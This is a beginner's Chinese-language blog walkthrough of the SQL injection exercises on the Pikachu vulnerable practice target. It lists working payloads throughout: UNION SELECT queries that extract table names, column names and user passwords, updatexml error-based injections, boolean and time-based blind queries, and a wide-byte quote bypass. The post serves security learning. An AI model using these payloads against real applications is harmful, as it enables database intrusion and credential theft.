我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。
本节目录:
* 数字型注入(post)
* 字符型注入(get)
* 搜索型注入
* xx型注入
* “insert/update”注入
* “delete”注入
* “http header”注入
* 盲注(base on boolian)
* 盲注(base on time)
* 宽字节注入
前文:
Pikachu靶机系列之XSS(Cross-Site Scripting)
Pikachu靶机系列之CSRF(Cross-Site Request Forgery)
数字型注入(post)
抓包分析右键Repeater,探测是否存在注入点,and 1=1,正常
And 1=2,ID不存在,证明存在注入点。
探测回显,order by 5 不行
一直试探到order by 2才有正常回显
探测哪个位置会作出回应,
然后开始爆库
知道库名爆表名
总共五个表
知道表名爆列名,那就选表名为users的列有什么,这列也太多了啊
知道列名就可以爆内容了那就找个密码爆出来好了
总结一下上述步骤用到的payload
id=2 and 1=1
Id=2 and 1=2
Id=2 order by 2
Id=2 and 1=2 union select 1,database()
Id=2 and 1=2 Union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
Id=2 and 1=2 union select1, group_concat(column_name) from information_schema.columns where table_name='表名'
id=2 and 1=2 union select 1,group_concat( password) from users where id=2
下面,找到注入点,就不详细操作了。
数字型注入(post)
(引号要用英文的引号,中文引号不符合数据库语法标准) 加上引号,报错,引号后面注释符#,正常,证明这里存在字符型注入
使用payload vince’ or 1=1#
即可把所有人的邮箱爆出来
搜索型注入
输入vince%‘报错,加上注释符#即可正常,证明此初存在注入点
如果想爆库爆列爆表,只要在vince’和#中间插进内容就行了,就不详细操作了
xx型注入
这题搞不懂,我们就来看看源码是怎么写的
所以我们要构造‘)来进行闭合
vince’) 输入报错,加上注释符,有正常反应
vince’) or 1=1#
操作是和第一步一样的我就不重复了
爆出密码
vince') and 1=2 union select 1,group_concat( password) from users#
“insert/update”注入
insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
提示要先注册,那就进入注册页面
看到必填的两个选项,
用户填‘单引号,密码填123看是否报错
后台没有屏蔽数据库报错信息,在语法发生错误时输出在前端
在必填的两个框之中的一个填上爆错注入的payload
' or updatexml(1,concat(0x7e,(select database()),0x7e),1))#
往下只要在select后面填入相关爆表爆列的语句即可
' or updatexml(1,concat(0x7e,(select )#
例如
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1))#
“delete”注入
进去之后,都是之前xss玩下的留言列表,先抓包,然后点击删除
Payload是 or updatexml (1,concat(0x7e,datebase()),0)
但是这里我要把空格替换成+或者%20才行,关于这里我查阅了一些资料:
现在几乎所有的网站都对url中的汉字和特殊的字符,进行了urlencode操作
空格。为了防止引起歧义,需要被转化为“+”
然后我参考了下luffy5459 作者的(URLEncoder关于空格转成加号(+)的问题)的这篇文章
得出的结论是正常情况下空格不应该转换为+,而是转换为%20。
“http header”注入
根据提示用admin 123456登入进去,然后被警告了,
这里的问题挺多的,跟http头里面有关的字段都可以测试一下,如下
看到这里,我在想,为什么这里的注入点就可以不用把空格转换成%20,试了下+号也不行,这是为什么,如果懂的朋友请私信教一教我,拜托了。
盲注(base on boolian)
输入vince
vince’
没有回显,加上注释符#
正确有回显
不正确没有回显
知道了注入点,只能通过真或者假来获取数据或者跑sqlmap,给出一些基本的盲注语句
判断库名长度
判断库名长度
and length(database())=长度数字#
判断库名的组成
and ascii(substr(database(), 1, 1)) = ascii的表中字母对应的数字#(这里1,1 代表着第一个数据的第一个字母)
猜解表名,猜解列名也是用这个语法
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115
但pikachu这题盲注出的不好,只要像第一题那样就可以爆出库名了
盲注(base on time)
输入paylod测试
vince' and sleep(10)#
这里只要用上常规的时间盲注语法套入就可以了。就是比较麻烦要细心。或者用sqlmap跑
宽字节注入
抓包,构造的payload:vince%df%27 or 1=1#
如果想要爆表爆列只需要在vince%df%27和#中间插入语句即可,如下